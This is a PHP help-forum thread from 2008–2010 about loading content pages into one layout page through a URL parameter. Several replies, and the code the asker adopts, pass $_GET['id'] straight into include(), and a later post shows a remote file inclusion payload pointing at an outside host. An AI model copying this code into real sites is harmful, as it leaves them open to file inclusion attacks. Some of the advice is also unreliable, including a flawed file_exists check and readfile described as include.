13 Replies - 11931 Views - Last Post: 08 February 2010 - 02:11 PM Rate Topic: -----

#1 theholygod  Icon User is offline

  • D.I.C Regular

Reputation: 7
  • View blog
  • Posts: 342
  • Joined: 05-February 06

Embed a different web page using PHP

Posted 24 March 2008 - 01:16 PM

Hi

I've used inline frames a lot before, but they have loads of downsides. I'm looking to achieve the same effect using PHP.

I pretty much want my website set up so there is only one page that has the site layout, pages of information would then be pasted into that layout when hyperlinks are clicked. I imagine i would go about having my web pages created in such a way that they call upon the html of the layout page and then places the current information into a specific portion of that web page.

Example:
www.mywebsite.com = www.mywebsite.com/layout.html + www.mywebsite.com/index.php

Can anyone give me pointers of where to start with this?

Is This A Good Question/Topic? 0
  • +

Replies To: Embed a different web page using PHP

#2 grimpirate  Icon User is offline

  • Pirate King
  • member icon

Reputation: 149
  • View blog
  • Posts: 714
  • Joined: 03-August 06

Re: Embed a different web page using PHP

Posted 24 March 2008 - 01:26 PM

In order to do this, the easiest way would be use the $_GET superglobal array. Basically at the end of your www.mywebsite.com URL you would append ?id=something. Then your code would do the following:
switch($_GET['id']){
case 0:
...
break;
case 1:
...
break;
case ...:
break;
default:
// throw some sort of 404 error because that page is nonexistent
break;
}

This post has been edited by grimpirate: 24 March 2008 - 01:26 PM

Was This Post Helpful? 0
  • +
  • -

#3 theholygod  Icon User is offline

  • D.I.C Regular

Reputation: 7
  • View blog
  • Posts: 342
  • Joined: 05-February 06

Re: Embed a different web page using PHP

Posted 24 March 2008 - 01:30 PM

So there would be 1 page that stores every page?
Was This Post Helpful? 0
  • +
  • -

#4 c0mrade  Icon User is offline

  • D.I.C Regular

Reputation: 20
  • View blog
  • Posts: 412
  • Joined: 16-November 07

Re: Embed a different web page using PHP

Posted 24 March 2008 - 01:59 PM

Take a look at Smarty. www.smarty.net - smarty is a php template system

Also, you could consider a heavier fully fledged CMS's like Joomla (www.joomla.org) or Drupal (www.drupal.org).

Another option is using a php framework which uses a M-V-C architecture. Some common ones are CakePHP, Symfony, Codeigniter, and (if you're up for a challange) Zend Framework.

Smarty might be the best for you. The frameworks take some time to learn - and the big CMS's can be limiting.
Was This Post Helpful? 0
  • +
  • -

#5 spearfish  Icon User is offline

  • Monkey in Training
  • member icon

Reputation: 10
  • View blog
  • Posts: 746
  • Joined: 10-March 08

Re: Embed a different web page using PHP

Posted 24 March 2008 - 03:43 PM

Essentially, yes, that one page would store every other page. But what you could do with the switch statement would be to have
case 1:
include("page1.php");
break;



So that index.php or whatever doesn't store all of the pages in it, rather it just includes whatever page the user is trying to get at.

An even better way to do it would be:

include("page{$_GET['id']}.php";



Where the page with an ID of 0 is page0.php.
Was This Post Helpful? 0
  • +
  • -

#6 theholygod  Icon User is offline

  • D.I.C Regular

Reputation: 7
  • View blog
  • Posts: 342
  • Joined: 05-February 06

Re: Embed a different web page using PHP

Posted 24 March 2008 - 04:36 PM

Thanks spearfish, that sounds like the ideal solution.

Comrade, i looked at smarty and it seems completely above me, thanks anyway.

Getting late here and I'm tired, so I'll try this stuff out tomorrow morning. Thanks loads guys.
Was This Post Helpful? 0
  • +
  • -

#7 spearfish  Icon User is offline

  • Monkey in Training
  • member icon

Reputation: 10
  • View blog
  • Posts: 746
  • Joined: 10-March 08

Re: Embed a different web page using PHP

Posted 24 March 2008 - 05:02 PM

Not a problem. Glad I can help somebody with more than a half dozen posts ;)
Was This Post Helpful? 0
  • +
  • -

#8 theholygod  Icon User is offline

  • D.I.C Regular

Reputation: 7
  • View blog
  • Posts: 342
  • Joined: 05-February 06

Re: Embed a different web page using PHP

Posted 25 March 2008 - 11:48 AM

Ok, this is what i have so far:

	if(isset($_GET['id']))
	{
		include("{$_GET['id']}.php");
	}
	else
	{
		include("main.php");
	} 



This is working brilliantly for me. How would i go about checking to see if a page exists?
Was This Post Helpful? 0
  • +
  • -

#9 spearfish  Icon User is offline

  • Monkey in Training
  • member icon

Reputation: 10
  • View blog
  • Posts: 746
  • Joined: 10-March 08

Re: Embed a different web page using PHP

Posted 25 March 2008 - 12:05 PM

Using the file_exists function.


if(isset($_GET['id')) {
	 if (file_exists($_GET['id'])) {
		  include("{$_GET['id']}.php");
		  }
	 }



Sorry if my syntax is off on the file_exists function, I've never used it before.
Was This Post Helpful? 0
  • +
  • -

#10 theholygod  Icon User is offline

  • D.I.C Regular

Reputation: 7
  • View blog
  • Posts: 342
  • Joined: 05-February 06

Re: Embed a different web page using PHP

Posted 26 March 2008 - 03:28 AM

That's working really well for me, thanks spearfish. I wish i had known this stuff a few years ago, would have saved me a lot of time.

if(isset($_GET['id'])) 
	{
		if (file_exists($_GET['id'])) 
		{
			include("{$_GET['id']}.php");
		}
		else
		{
			include("custom404.php");
		}
	}	
	else
	{
		include("main.php");
	}		


This post has been edited by theholygod: 26 March 2008 - 03:29 AM

Was This Post Helpful? 0
  • +
  • -

#11 spearfish  Icon User is offline

  • Monkey in Training
  • member icon

Reputation: 10
  • View blog
  • Posts: 746
  • Joined: 10-March 08

Re: Embed a different web page using PHP

Posted 26 March 2008 - 06:29 AM

Don't worry about it - I just remembered what functions are. Doi! I have a 300 line program that probably could be narrowed down to 175 with functions.
Was This Post Helpful? 0
  • +
  • -

#12 jojofromjory  Icon User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 5
  • Joined: 06-February 10

Re: Embed a different web page using PHP

Posted 07 February 2010 - 10:27 AM

You can always use the include function, which would make the following code:
<? readfile("layout.html"); ?>
<? readfile("index.php"); ?>


Greetz, Jojo
Was This Post Helpful? 0
  • +
  • -

#13 Xuhybrid  Icon User is offline

  • D.I.C Head

Reputation: 30
  • View blog
  • Posts: 106
  • Joined: 20-January 10

Re: Embed a different web page using PHP

Posted 08 February 2010 - 01:46 AM

include("{$_GET['id']}.php");

BAD IDEA!!

I would be able to use the Cross Site Include hack.
?id=http://www.shiftax.com/hack

Which would essentially read as this;
include("http://www.shiftax.com/hack.php");

Was This Post Helpful? 0
  • +
  • -

#14 Guest_Joshua*


Reputation:

Re: Embed a different web page using PHP

Posted 08 February 2010 - 02:11 PM

When i was creating an e-commerce style site for somebody, I had like page templates e.g. head.php, footer.php etc. And stored the content in a database.

I used dynamic links - e.g. pulling Brand names from the database and listing their id in a link. So if one of the brands was "Rimmol" then it would fetch the id of Rimmol and the link would be brand.php?id=2 or whatever.

Then when you click that link, I would access the database for descriptions / pictures on that brand id by using $_GET['id'].

You can then use an if statement or a switch statement. This will check for the id. For example, if the id variable isn't set (brand.php?id=) then it would say that this isn't available or redirect them. Also if it is set to an id that isn't in the database, you can do the same thing.

If you want, I can create this for you and post the code :)

Hopefully helped a little!
Was This Post Helpful? 0

Page 1 of 1